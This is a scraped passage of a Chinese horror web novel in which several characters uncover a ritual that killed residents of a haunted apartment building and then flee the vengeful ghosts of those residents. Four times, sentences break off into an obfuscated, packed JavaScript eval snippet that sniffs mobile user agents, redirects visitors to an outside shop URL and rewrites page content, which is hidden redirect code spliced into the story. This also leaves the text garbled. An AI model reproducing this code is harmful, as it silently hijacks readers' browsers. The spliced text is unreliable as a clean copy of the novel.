它一叫,老鼠就掉了下去,正好落在204中央。 “所以,齐永亮不知道出于何种目的设了个套,金顺就这么入了局,赔得倾家荡产,精神崩溃,杀死全家后跳楼…自尽?” 郝荨拧起眉毛,总觉得好像忘了什么。 法瑟:“脚印。” 郝荨眼睛一亮,是啊,金顺那个脚印为什么是倒过来的? 不,不止脚印! 他们都忘了一件事! 不管金顺到底是想逃跑还是想跳楼,他都应该是正面朝下,栅栏从胸口捅进才对,田全怎么会看到金顺的脸,还形容他是一个面朝着他立在那的稻草人?! 除非——他是后仰着倒下的。 “他是被推下去的!” “噗通!” 台阶上忽然传来一声摔跤声,一个小木盒从台阶边缘砸了下来,要不是法瑟眼疾手快,郝荨的脑袋上恐怕要起个包。 那是个古旧的小盒子,只有两个手掌大,上面雕刻着一些奇怪的花纹,有三个头的莲花,还有七条手臂的蛇,古古怪怪的。木盒边缘油润光滑,看起来被时常摩挲着,都快包浆了。 一个穿着宽大T恤的女孩一瘸一拐地从楼梯上下来,是齐念儿。 “你还好吗?” 郝荨目露关切地询问,齐念儿的膝盖上擦破了很大一块,只这么一会功夫就已经肿了起来,青青紫紫,看来摔得不轻。 齐念儿拽着自己的T恤下摆,这T恤本来质量就不好,又洗过很多次的样子,轻轻一拽就会变形,她的下摆处全是被拉扯的痕迹。 她小声道:“我没事…那个……” 齐念儿伸出食指指了指那个木盒子,另一只手悄悄背在身后,露出了半截铲子。 “哦,还给你。” 郝荨递给她,她刚一接过,就下意识藏在了身后。 “谢谢大师姐姐。” 郝荨挑眉:“你这是……要出去?” 齐念儿支支吾吾道:“没、我、我是、我……嗯。” 这状态实在太奇怪了,郝荨站起身,不着痕迹地堵住她的去路。 “你拿铲子做什么呀?要挖土吗,你还是小孩呢,我们来帮忙吧。” 说着,她就要上前接过木盒,齐念儿立刻后退:“不、不用!爸爸说……爸爸说,只能我来。” 她的头发还是乱蓬蓬的,发绳掉了一个,另一个小揪揪也要掉不掉,凌乱地遮挡在她的脸侧。 “唔……” 大黄狗夹着尾巴趴倒在地,双手捂住鼻子,好像有点害怕。 郝荨眼珠子转了转,她挂上笑,让了开来:“好吧,我们就在这里,要是需要帮忙随时来叫我们。” 齐念儿点点头,跟老鼠见了猫似的一溜烟跑了。 她跑了之后,大黄狗又生龙活虎起来,冲着她离开的方向“汪汪汪汪”叫了好几声。 郝荨戳了戳它的脑门,恨铁不成钢:“你个小马后炮,现在叫有什么用!” 大黄狗“呜呜”两声,讨好地舔了舔她的手。 “木盒不拿吗?”方柚柚歪了歪头,疑惑道。 那盒子一看就是重要线索,她就这么放走了? 郝荨看了看手心的口水,顺手在黄狗身上擦了擦:“记住这个味道了吗?” “汪!” 方柚柚:“什么意思?” 郝荨弯起嘴角,冲她露出一个专属于反派的笑。 如果那笑有声音,那一定是“桀桀桀桀”。 * 幸福公寓楼下的草丛中,一个穿着发黄T恤的瘦小身影蹲在里头费劲地挖着土。 也不知道她是怎么找到的这个地方,隐蔽的很,无论哪个角度看去,都只能看到茂密的灌木丛。 只能在风吹过的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429414|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,偶尔看到一双慌张又带着点警惕的眼睛。 “嗯……她有点像我老家的一种动物。” 离开狗狗后,方柚柚又重新戴上了那双死鱼眼,一副困顿的样子,挠了挠她的脖子点评道。 “松鼠?”郝荨嚼着小面包,眼睛还在盯着奋力挖土的齐念儿。 方柚柚摇头:“傻狍子。” 可不是嘛,齐念儿拼命把自己塞进灌木丛里,不时地观察四周有没有人,却忘了抬头看一眼楼上。 就好像那撞见人的傻狍子,顾头不顾腚。 郝荨缩着脖子躲在二楼的阳台上,这就是老师的视角吗?从高处看下面,果然什么人的小动作都逃不过她的法眼。 齐念儿这会儿终于刨出了个坑,闷热的天气下挖土不是件容易的事,她抹了把额头上渗出的汗,正要把木盒放下,却忽的一抖身体。 脸色发白,看起来不太舒服。 齐念儿摸了摸自己的头发,想了想,她小心地扒开锁扣,取出了里面的东西。 ——是一本发黄的小册子。 郝荨用气声小声问:“她在说什么?” 从他们的角度只能看到齐念儿嘴巴张合,念念有词。 方柚柚也摇摇头,她没点唇语技能点。 “她在说五行。” 法瑟的声音在她耳边响起,郝荨微微扭头,对方正专注地盯着齐念儿,没有发现他们的距离如此之近。 为了不让齐念儿发现,他们的脑袋挤挤挨挨地偷摸藏在栅栏后,她几乎能感觉到对方身上的温度。 很烫。 郝荨有些不自然地往后靠了靠:“你会唇语?” “一点点——”法瑟忽然闭嘴,以迅雷不及掩耳之势之势拽着郝荨后退,贴上墙面。 郝荨迅速回神,她用眼神询问‘是齐念儿吗’,法瑟点头。 她侧过头,方柚柚也紧张地捂住嘴巴缩在另一边,郝荨想了想,伸手戳了戳大黄狗毛茸茸的屁股。 齐念儿仰着头,仔细确认着什么,半分钟后,一小截黄色从二楼的阳台上伸了出来,她一下睁大双眼。 有人! 她立刻蜷缩起来,正当她不知道该如何是好时,那截黄色继续往外挤,都变形了还硬要往外挤,然后,一个熟悉的狗头挤了出来。 大黄狗“哼哧哼哧”喘着气,舌头粉嫩,圆圆的眼里满是机灵。 不知道是不是她的错觉,总感觉它的狗眼里透出些无语。 见到是只狗,她明显松了口气,齐念儿不再犹豫,她将册子放回木盒,很快就将木盒子埋在了灌木丛下。 她没有再抬头,因此也不知道在她埋时,那只棕黄色的大狗拼命想叫,只是被眼疾手快地捏住,大狗还想扑腾,它摇着头,两只前爪也急切地刨着,被另一只手一把抓紧。 这只手力气更大,它挣脱了半天也只把自己累得直喘。 木盒被埋下后,这只狗总算是平静下来,齐念儿看了看自己脏兮兮的手指,在身上擦了擦。 她抬起头,那只狗依然趴在那。 有点奇怪的是,这只狗浑身上下散发出一股生无可恋的感觉。 她没有在意,径直回了家。 又过了一会儿,几个鬼鬼祟祟的人影偷偷溜到了那丛灌木丛下。 “是这儿吗?” 66. 幸福公寓15 郝荨四处张望了半天,很好,楼上也没人。 大黄狗一开始还半死不活的,方柚柚一撒手,它就跟离弦的箭一样“咻”一下飞窜到郝荨旁边,开始闷头刨土。 郝荨猝不及防,等她反应过来时,自己已经看不出个人样了。 郝荨:! 大狗隐约感觉到有股凉意,它敏锐地夹紧尾巴。 没关系!勇敢狗狗!不怕困难! 它两只爪子刨得更快,不到一分钟的功夫,那只木盒就被它翻了出来。 狗狗用鼻子将这木盒顶到郝荨跟前,讨好地咧开嘴。 郝荨看看狗,又看看盒子。 算了。 几人快速把土坑复原,跑回了102里。 “里面究竟是什么啊?”方柚柚好奇。 郝荨将木盒打开,盒子里只有一样东西,就是齐念儿拿出的那本旧册子——善法渡厄倒面莲花心经。 佛经? 作为一个只信仰财神爷的唯财主义者,这属实是撞到她的知识盲区了。 她囫囵吞枣地翻完大半本,被里面弯弯绕绕的经书用语搞得头疼极了,这书比她高考做阅读理解还费劲! “等等!”方柚柚伸手按住,“你看这个。” 郝荨望向她指的位置,那里画着一个好像鬼画符的咒语,一旁的小字写着: 【千莲长生归天引】 【起阵起七日内,需金木水火土五生五死,渡我佛圣天之道,并血肉至亲为引,劫毕,青莲归,赐长生。】 旁边还有几句手写的批注: ——长出来了,真的!这竟然是真的! ——金木水(划掉)火土,要加快速度了。 ——他们怀疑了……绝不能被发现! 方柚柚将剩下的册子翻完,又翻回到这页,有点疑惑:“这是……齐永亮和方芳写的?” 这两个字迹不太一样,但无论哪种都绝不会是一个没上过学的八九岁小女孩能写出来的。 郝荨猜测道:“这或许就是金顺一家——不,应该说,就是楼里这么多人死亡的原因了。” 这个不知道从哪里来的倒面佛真是万恶之源,据心经所写,每隔千年,便会有倒面佛降世历劫普度众生,新生的倒面佛天生无面无眼,只有看遍世间苦难才能回归圣天,若有人助祂渡劫,便能在祂生出青莲之时被赦免所有罪孽,赐予长生。 青莲,就是眼睛。 郝荨不由想起齐念儿家里那尊佛像,佛像的面上已经长出肉瘤,很快,就会生出眼睛。 至于具体要如何渡劫……郝荨重新读了两遍册子,突然,她抬起头,方柚柚也刚好想到了什么,两人对视一眼:“万年历!” 方柚柚的记忆力远超常人,她迅速翻到丁婆的生辰年月,果然! 丁萍,木命之人,萍字虽属水,却水生木,木上加木,天性爱草木,最后也与自己最爱的草木死在一起。 都对上了! 这样看来,金顺应该是因为八字属金,才被齐永亮选中入局,最终因财而死,至于水,想必是住在三楼的小作家,赵清溪了。 所以她住的地方才会生出许多霉菌。 “不好!”一个想法如闪电般击中她的脑子,郝荨倏地站起,“其他人有危险!” “铛——” 天色忽的暗了下来,夜晚到了。 稚嫩的童谣声回荡在这栋公寓,一股难以忽视的焦糊味道顺着缝隙吹进屋来—— “月亮高高挂天上,我们玩个捉迷藏……” “什么味道?”郝荨捂住鼻子,忍不住呛咳。 在闻到烟的瞬间,法瑟已经几步移到了门口,他回过头,脸色很不好:“门打不开。” “什么?!” 郝荨猛地冲过去,正要去握门把,被法瑟一把握住手腕。 “别碰,很烫。” 事实上,即便他不说,郝荨也意识到了这一点,灼热的温度透过门板传来,烧得门把手几乎要融化。 浓烈的黑烟无孔不入,不过几秒而已,她的视野已经变得模糊不清。 “咳咳咳……着火了?!” 话音刚落,与101相连的墙壁倏地烧出一道黑痕,这烧焦的痕迹来得突然,又以肉眼可见的速度不断扩大。 “这样下去,我们也会被烧死的!” 方柚柚坐在变大的兔子玩偶肩上,焦急道。 法瑟伸直手指,如刀一般刺入他的左臂,随即,抽出了一柄细长莹润的锋利白骨,血液像是有生命一般顺着白骨长刀游动,最后变成了一截红色锁链:“让开。” 郝荨立刻退后,随着一声嗡鸣,长刀贴着她的面颊飞速划过,她只来得及看见一道残影,接着,门锁应声而断。 “走!” 几人冲出门去,101的大门已经被烧得漆黑一片,滚滚浓烟顺着火势正在向其他方向蚕食。 “不行,大门打不开!” 方柚柚的兔子脚步快,一眨眼的功夫就已经带着方柚柚又跑了回来。 兔子玩偶不知是怕烫还是怕火,一直蹦跶着,高抬腿,踩在地面上发出“咚咚咚”的声响。 “救……” 郝荨皱眉:“有人在喊?” 她顾不得火势,侧头去听—— “救命!放……” “有人在喊救命!是101!” 郝荨望向法瑟,法瑟看都没看,反手一甩,长刀在空中翻转,准确无误地卡在了101的大门上。 他手腕一动,那刀便如钻头一样将门搅了个粉碎。 “救命——!!!” 没有门的阻隔,郝荨听得更加清楚,101的卧室里,一个黑影将田耀死死压在身下。 “为什么……你为什么要这样……”黑影不住地呢喃着。 田耀赤红着眼想逃,却怎么也挣脱不开。 郝荨站在门口,有些犹豫,101这场“大火”实在诡异,明明处处是烧焦的痕迹,黑沉沉的烟雾布满了整间屋子,却半点火焰都看不见。 她又呛咳了两下,被田耀发现,田耀立刻大喊:“救我!救命!” 他一下来了力气,用力翻身,或许是肾上腺素作祟,先前一直岿然不动黑影突然晃了晃,田耀大喜,他一脚踹开对方:“滚开!” 随后连滚带爬下了床。 那黑影只是摇晃了两下,很快又一个飞扑,拽住了田耀。 “救我!!!” 法瑟挽了个刀花,看向郝荨,眼神像在询问“救吗?”,但郝荨根本没有看他,她快速在屋内搜寻,皱起了眉。 方柚柚:“怎么了?” “咳咳……”郝荨揉了揉眼睛,这里烟太大了,熏得眼睛疼,“田全呢?” 照理说,现在这个时间点,楼里所有住户都应该待在自己的房间里睡觉,可田全的房间里没有人。 连被子都没有动过的痕迹。 101里只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14450083|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有田耀这个儿子,和——一个被烧焦的黑影。 郝荨眼神微动,不会是她想的那样吧…… “为什么……” 黑影拽住田耀,它看起来很用力,手指微微颤抖,哪怕焦得连五官都没了,也能看出对方的不敢置信和痛苦。 “你为什么要那么做……为什么……” 它不停地问着“为什么”,翻来覆去,田耀的力气不如对方的大,他满脸慌张,嘴里只知道叫救命。 见郝荨不为所动,田耀大为光火,他大骂道:“你们干什么吃的!见死不救啊!” 郝荨眯了眯眼睛:“你爸呢?” 田耀张开嘴,很快又意识到什么,他咽了口口水:“他不在家——啊!!!” 一声凄厉的惨叫过后,他的半个手掌被那焦黑人影硬生生按在了床沿,那张平平无奇的木床此刻好像块烧红了的烙铁,只轻轻一按,他的手掌就被融化下一层皮,露出了血淋淋的白骨。 “啊啊啊啊啊——!” 与惨叫声一同响起的是怪物沉闷的脚步声。 “……小手小脚轻轻跑,藏好藏好不被找,老大轻轻跃楼下——” “砰!” 巨响炸开,一个身影从二楼直直落在了屋外的铁栅栏上,黑影的头颅动了动,明明什么也看不清,郝荨却感觉自己被什么盯上了。 是金顺的尸体?! 不好,捉迷藏要开始了! 郝荨反手掏出木仓,“砰砰”两下射向那个焦黑身影。 一下没中。 “啧。” 她气闷地一甩木仓,不小心误触到扳机—— 黑影一顿,中了! 田耀求生欲很强,他抱着自己的手掌,一边大声怒骂一边向门口冲去。 童谣声还在唱着: “老二睡在大树旁——” 无数树根从103的房间伸出,只一眨眼的功夫就将走廊封得七七八八。 “娃娃们别跑啦,来丁婆这歇歇……” 丁婆躺在果树下,吃力地抬起头:“快来呀,和丁婆说说话,说说——” “——是哪个瘪犊子敢偷我的果子!!!” 法瑟瞬间加快脚步,握紧长刀旋身劈砍,硬是将树根砍出一个大洞,紧接着他一个鱼跃翻过了树根轻巧落地。 可那断裂的树根竟还能继续生长! 眼看着洞口越来越小,郝荨脖子一紧,兔子玩偶毛茸茸的手拎着她的衣领就往洞里扔去。 她睁大双眼,下一秒,自己就被另一双手牢牢接住。 郝荨喘了口气:“多谢!” 她还没来得及再说些什么,法瑟迅速换手,把她放在了地上,紧接着,方柚柚抱紧双腿以一个蜷缩的姿势也被扔了进来。 法瑟眼疾手快扯住了对方的衣领,转手塞进了郝荨怀里。 他好像一个无情的流水线机器,因为马上,那只兔子也熟练地缩小成玩偶大小,从洞口里蹦了出来。 还在空中接了一个酷炫的三百六十五度托马斯大回旋。 然后被法瑟一下按住。 兔头一阵扭曲,郝荨把方柚柚放下:“安全了?” 走廊安静了几秒,突然—— “轰!” 那树根一下爆开,断枝残屑混合着黑烟向几人涌来。 烟雾中,四肢着地的怪物晃了晃脑袋,露出了一个开心的笑: “游——戏——开——始——” 67. 幸福公寓16 “游——戏——开——始——” 郝荨三人默契地转身就跑,可比他们反应还快的是一个尖叫着跑路的身影。 田耀鬼吼鬼叫着跑得歪七扭八,可一时之间大家竟然也追不上他。 大门打不开,他们只能往楼上跑。 拐角时郝荨往后看了一眼,那怪物虽然移动迟缓,但步子很大,不疾不徐地跟在他们身后,树根顺着墙壁飞速爬行,有点奇怪。 它们像是害怕那怪物似的,一点都没碰到它。 “这到底怎么回事?”郝荨气喘吁吁问田耀,“你搞什么了?!” 田耀抱着自己的手掌,痛得面色扭曲。 他闷头往前跑,还不忘倒打一耙:“我做什么?我可什么都没做!要不是你们,怎么会变成这样!” “砰!” 田耀猛地一抖,差点没踩空。 他看着脚边的硝烟,有点腿软,郝荨眨了下眼,眼中的弗兰德斯之花流转:“我警告你,老实回答,否则下次这木仓打得就是你了!” “我…我……”田耀眼神乱瞟。 忽然,他像是看到了什么,眼珠子滴溜溜转动,吞吞吐吐道:“其实,其实是这样的……” 他放慢脚步,不着痕迹地靠近郝荨,手微微摆动着,悄悄伸出手—— “咔嚓。” 法瑟耳朵一动,忽觉不对,他瞬间上前一脚,田耀只感觉自己腹部一阵剧痛,紧接着,身体一轻,自己就被踢翻出去。 不等她问怎么回事,法瑟一把提溜住她跃至了平台上。 一大块巨大的天花板就这么直直落下,砸在了她刚刚站着的地方。 “我靠!” 郝荨低头骂了一句,她暴躁地举起木仓去找田耀,却发现这人不知道什么时候不见了! 拳头梆硬! 方柚柚抹了一把脸上的灰,嘴角一抽:“你怎么不顺便把我也带走?” 法瑟微微一顿,迟疑地举起长刀:“因为我没有第三只手?” 郝荨朝怪物射了一木仓,成功减缓了怪物追逐的速度,几人趁着这功夫爬上了三楼。 三楼看起来很安静,没有受到火灾的影响,郝荨四下看了看:“305门没关!快进去!” 门被用力关上,他们靠着门喘气,小心地听着外头的动静。 “咦——” 漆黑的怪物疑惑地歪了歪脑袋,它停顿几秒,重新咧开嘴: “躲——好——了——吗?我——来——找——你——啦——” 它在走廊里来回找了几圈,又试探着推了推门,最终摇摇头,重新下了楼。 郝荨松了口气,她看了眼墙上的钟表:“离十二点还有五个小时,谁也不知道中元节会发生什么,我们一定要在那之前将任务完成。” 方柚柚点点头:“你打算怎么做?” 郝荨摸了摸口袋里剩下的五支香,大脑飞速转动。 她分析道:“如果神三鬼四的‘四’没错的话,那我们之前超度失败就只有两种可能,要么超度的前提条件错误,要么……超度的人错了。” “莫非要超度整栋楼的亡灵?” 方柚柚头皮一阵发麻,这还没超度呢这些鬼就开始四处寻找他们,谁能保证超度时他们不会捣乱? 再说了,这么多鬼,也不知道四支香够不够他们分。 “不知道。” 郝荨轻轻敲了敲手指,有股莫名的疑虑一直徘徊在她心头,金顺一家已经基本能确定是齐永亮夫妻搞的鬼,目的就是为了制造那所谓的【千莲长生归天引】。 她记得那个叫齐小宝的小孩出生时身体就不好,经常哭,齐念儿得非常细心努力才能照顾好这个弟弟,还为此经常挨父母的打骂,可怜极了。 这个长生阵法恐怕就是为了她弟弟齐小宝准备的。 阵法说,起阵七日内,需金木水火土五生五死,金顺的“金”,丁婆的“木”,还有赵清溪的“水”都已经完成,接下来的“火”……她想起在楼下看到的焦黑人影,那人影一直抓着田耀不放,再加上田耀的遮遮掩掩,或许这个“火”就是田全了。 只是最后的“土”…… “滴,答。” 一声怪异又熟悉的水滴声从他们身后响起,郝荨身形僵住,一股凉意顺着脊背升起。 说起来……赵清溪家的门怎么会开着? “请君入瓮”四个大字重重撞在她心底,郝荨慢慢回过头,305的洗手间里发出“吧嗒”、“吧嗒”的踩水声。 一个浑身湿透、全身浮肿的“人”扶着墙走了出来,她像是从水里捞出来似的,浑身没有一处干的地方,露出来的手背惨白肿胀,像是泡发了。 而比这更恐怖的是,这个“人”她没有头! 不,应该说,本该有头的地方变成了一个球形的透明鱼缸。 她的头被硬生生塞进这只鱼缸中,五官扭曲地挤在缸里,几乎要被磨平,只留下眼眶和嘴巴耳朵的几个孔,仔细看去,有只金橙色的小金鱼从这个孔游到那个孔。 它开心地摆动着尾巴,见到这一幕,郝荨立刻起了一身鸡皮疙瘩。 忽然,金鱼不动了,它像是刚刚发现他们似的,直勾勾望过来。 郝荨立刻开门—— 门外,那只高达天花板的怪物安静地站在那里,将门直直堵死。 郝荨:! 怪物兴奋地慢慢张开嘴: “找——到——” “找你个头!” 郝荨反手就是一木仓! “砰!” 子弹射中的部位冒出一股黑烟,怪物吃痛,下意识后仰。 就是现在! 她一个转身就要冲出,墙上却突然伸出一只手! 郝荨被死死拉住,一道冷光闪过,那只手被长刀斩断,她面色一喜,正要道谢,下一瞬,那墙上却忽的伸出无数只手,或大或小,法瑟皱起眉。 这些手战斗力不高,却很麻烦,时不时地给人使绊子,防不胜防。 而那头怪物已经恢复了大半,它喷着气,很生气的样子。 “你——怎——么——不——” “不你个头!” 郝荨又是一木仓,那手太小她打不中,这么大一个怪物她还打不中吗! 方柚柚将兔子一把抛出,那只兔子玩偶在空中倏地变大,用力一撞,将怪物撞了个人仰马翻。 她们正要跑,楼梯却被那个焦黑人影挡住。 “田叔?田全?”郝荨试图唤醒对方的生前回忆,“我们是来帮你的啊你忘了吗?” 田全显然不接受这种套近乎,他边走,身上边冒出了细小的火星子,连他周身的空气都被高温灼烧得一阵扭曲。 郝荨求生欲骤起,她立刻后退,但身后的怪物和“赵清溪”虎视眈眈,墙上还有“金顺”一家的手,她们被包围了! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14466761|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >法瑟挥刀而下:“小心!” 他跳上一旁的柜子,水流顺着“赵清溪”的脚尖流下,在夜色的掩护中逐渐覆盖住整片地面。 “啊!” 脚踝一紧,郝荨忽的扑倒在地。 是丁婆的树根! 树根在他们混战的时候偷偷爬了上来,拽着她就要拖走! 法瑟眉头一皱,他正要跳下柜子,却被无数只手死死按住。 他挥刀去砍,身后一股热源袭来,法瑟连忙闪躲开。 “抓住我!” 方柚柚翻身坐上兔子玩偶,伸手要去拽,可下一秒,怪物狠狠撞了上来。 兔子玩偶只来得及在空中翻了个身,将方柚柚顶在自己的肚子上,等她头晕目眩坐起来时,走廊里已经没有了郝荨的身影。 * 七月半,阴风起。 空气中漂浮着烧焦气味,混合着泥土和血液的腥气,一只鸟儿逆着风飞到果树上躲藏,瑟瑟发抖。 “要不……咱们打个商量,你转个身?” 郝荨无辜而又真诚地双手合十:“你这样盯着我,有点显示不出来咱们幸福公寓住户的整体素质。” 丁婆双眼赤红,急赤白脸地喘着气,她的窗户没关,一阵冷风吹来,树叶扑簌作响。 在她的对面,纤细的树根纠缠着,包裹成一个半球形,郝荨自然地坐在里面。 “你听到了吗?丁婆?丁婆你说句话呀丁婆!” 丁婆脖子都红了,血压直冲头顶。 幸好她已经是鬼,不然恐怕现在已经气到高血压了。 “啊!!!” 她费劲全力也只能扯着嗓子嘶吼,说不出任何话来。 丁婆愤怒地盯着她,满眼写着“你有本事出来啊!”,郝荨不为所动。 她疯了才会出去! 郝荨眼神温柔地摸了摸自己的“座椅”,这台白色的“座椅”摸上去冰凉而又光滑,除了坐着的时候屁股有点没着落外,一切都好。 【道具:休憩的沉思者】 【品阶:绿】 【描述:当你使用此道具时将不受任何打扰,这是所有生物都应该有的礼貌。】 丁婆狠狠翻了个白眼,她顶着压力在众人眼皮子底下将人偷来,就是为了独自享用美食,可现在美食享用不到,她还要坐在马桶上嘲讽自己! 这谁能忍? 她又愤怒地大叫了一声。 郝荨单手撑住脑袋,百无聊赖道:“正好现在大家都有空,不如聊一聊你是怎么死的?” 她有些疑惑:“你自己一个人住,平时也不爱搭理人,怎么会突然去世?还刚刚好死在这棵树下?” 这样才能满足阵法对木命之人死亡原因的要求,可齐永亮是怎么做到的? 丁婆收起那副张牙舞爪的模样,面色沉下。 摇椅“嘎吱”响了一声,她伸手取下一颗果子,喂给了那只藏在树上休息的鸟儿。 “啾啾。” 鸟儿道谢地蹭了蹭她的手指,将果子啄食下肚。 不一会儿,它忽然凄厉地叫了起来,从枝头直直坠落,摔在了丁婆掌心。 这树有毒?! 不对,他们来的第一天也有鸟儿在树上吃果子,那时并没有什么不对,郝荨心脏一突,她忽然想起今天早上地上无端出现许多死去的鸟虫老鼠。 树怎么会有突然有毒呢?除非——是有人下毒。 68. 幸福公寓17 “你不会是下毒毒到自己了吧?” 丁婆狠狠白了她一眼。 “也不能怪我这么想呀!”郝荨辩驳道,“你之前还说要毒死偷你果子的人呢!” “呵!”丁婆发出一声冷笑。 郝荨垂下眼睛,陷入了思索,既然不是她自己下的毒,那应该就是齐永亮了,他害死了金顺,又毒死了丁婆,恐怕赵清溪也是被他活活淹死在那狭小鱼缸的,这人真是坏事做尽! “嚓。” 一声极细微的轻响传入她的耳朵。 郝荨一愣,她快速瞥了一眼自己身下—— 郝荨:! 她的保命神奇马桶裂了条缝! 丁婆大喜,她“啊啊”叫了两声,郝荨抬手按住:“别吵,我在思考。” 这马桶用不了多久她早有预料,如此好用的保命神器要是能一直用,怎么会只有绿色品级,但她也没想到时间竟然这么短暂。 她点开自己的个人面板,【身临其境】用不上,【罅隙窥视】已经用过了,天赋技能【我是自愿加班的】倒是能用…… 郝荨清点了一遍自己的员工……怎会如此! 她大为震惊,怎么会一个战斗系都没有?! 好吧,郝荨掏出自己的小左轮,做人还是得靠自己! “丁婆,和树共生是什么感觉?能感觉到它在说话吗?你一直躺在摇椅上累不累啊?就不能带着树起来松快松快吗?” 郝荨连珠炮似的跟丁婆侃大山,她面上不显,心里却很着急,也不知道法瑟和柚柚怎么样了。 但又想到这里最弱的恐怕是自己,她心里又好受了一点。 现在看来幸福公寓白天大家都还是正常人,晚上才会变成鬼,【迷雾游戏】里所有的副本都由特定的怨念核心生成,既然怨念已经存在,那就说明原本的世界里阵法一定已经完成。 可如果是这样,为什么齐永亮和齐小宝他们还会出现在这里? 难道长生阵法失败了? 郝荨思索一番,以目前的线索看来,副本的关键之处还是在最后的“土”上,只是不知道这个土命之人究竟是谁。 是离开的施婉婉?还是王娴和何建国?又或者,就是齐家人? 想了想,郝荨一弯腰,抱着马桶躬身站起。 丁婆:? “啊!啊啊!” 她连忙想要阻止,又因为【休憩的沉思者】不受打扰的规则而无法靠近。 “好啦,”郝荨安慰她,“咱们都这么大年纪了,可不能倚老卖老哦,新时代人民要讲礼貌,可不能在其他人上厕所的时候打扰。” 说完,她就背着抽水马桶小步小步往屋外挪去。 白色兔子像个小旋风似的从她面前飞驰而过,然后又突然停下,倒退回来。 兔子红红的眼睛里闪着大大的疑惑。 郝荨刚想解释,就见怪物从楼梯上追了过来,她立刻闪身躲过,再出去时,兔子玩偶已经带着怪物去了另一边。 趁此机会,她连忙挪到楼梯口,法瑟应该还在三楼打架,听起来清零哐啷的,好像世纪大战。 “园长?” 方柚柚躲在楼梯下,震惊地望过来。 “你……你再急也不能偷人马桶吧?” 郝荨:…… 她真是百口莫辩! “别扯这些了,让一让,我要去找土。” 方柚柚立马举手:“带我一起!” 两人小心翼翼地往二楼挪动,这马桶明明是道具,但无论是外观还是重量都和普通抽水马桶一模一样,很重,郝荨搬得很吃力,额头不自觉沁出汗水。 方柚柚缩着脑袋躲在马桶后头,假装自己是根水管。 1楼和3楼都在打架,2楼反倒是空了出来,郝荨小声敲了敲201的门,又贴在门上听了听,确实什么动静也没有,没人在家,如果不是施婉婉,那就只能是—— “沙沙。” 郝荨迅速回身,马桶的水箱瞬间擦过方柚柚的脑门,好悬没给她撞个脑震荡出来,方柚柚后怕地退了两步。 “什么声音?” 郝荨仔细去听。 “沙沙,沙沙。” 好像是203里传出来的声音。 她背起马桶,正要去查看,突然被方柚柚一把拉住。 方柚柚的死鱼眼此刻紧紧皱着,顺着她的视线望去,203门口的地面上突兀地出现了一个圆形痕迹。 和佛像底座一模一样。 一个想法如晴天霹雳般出现在她脑海中,郝荨瞪大双眼。 法瑟下楼时看到的就是这样一幅场景,一人坐在个快要裂开的马桶上仰着脖子,手里拿着不知道哪来的铁丝努力捅锁眼,另一人蹲在旁边给她加油打气。 光是看一眼就感觉自己要长针眼了。 他挽了个刀花,抖落长刀上沾着的血珠,疑惑道:“…你们在做什么?” 看到他来,郝荨眼神瞬间亮起:“快快快!来开门!” 要不是她还坐在马桶上,真想冲过去按住法瑟的头来给她撬门! 法瑟有点无语,但还是听话地手起刀落,203的门锁落下,郝荨上手去推,竟然一下子没推开。 再去推时,一声“砰”伴随着一只干涸的眼睛从门缝里露了出来。 ——何建国已经成了一具尸体。 他身体蜷缩着趴在地上,一只手撑着地面,另一只手拼命向上伸着,想去够门把。 他已经死去很久了。 本应在王娴打理下显得拥挤而又干净的家已经一片狼藉,尤其是从卧室到门口的这一路,很难想象何建国是如何执着地排除万难爬行而来的。 如果王娴还在,绝不会发生这种事。 方柚柚懂了:“王娴是土?” 郝荨没有回话,她在思考,金木水火土五行之人都已经按照阵法所示死去,那为什么阵法最后还是失败了? “起阵起七日内,需金木水火土五生五死,渡我佛圣天之道,并血肉至亲为引……” 几人互相对视,异口同声道:“血肉至亲!” 一定是阵眼出了问题!齐念儿有危险! 郝荨费劲地搬起马桶往楼上跑去,法瑟忍不住看了她一眼,又一眼。 “你为什么一定要扛着这个……?” “这是我的保命道具,这样丁婆就抓不到我——”郝荨愣住。 对啊,丁婆都不在这,她还拿着道具做什么?! 她将马桶收进背包,装作无事发生。 304大门紧锁,哪怕是法瑟将门锁斩断也推不开,她撞了两下,明显感觉到有股阻力,应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 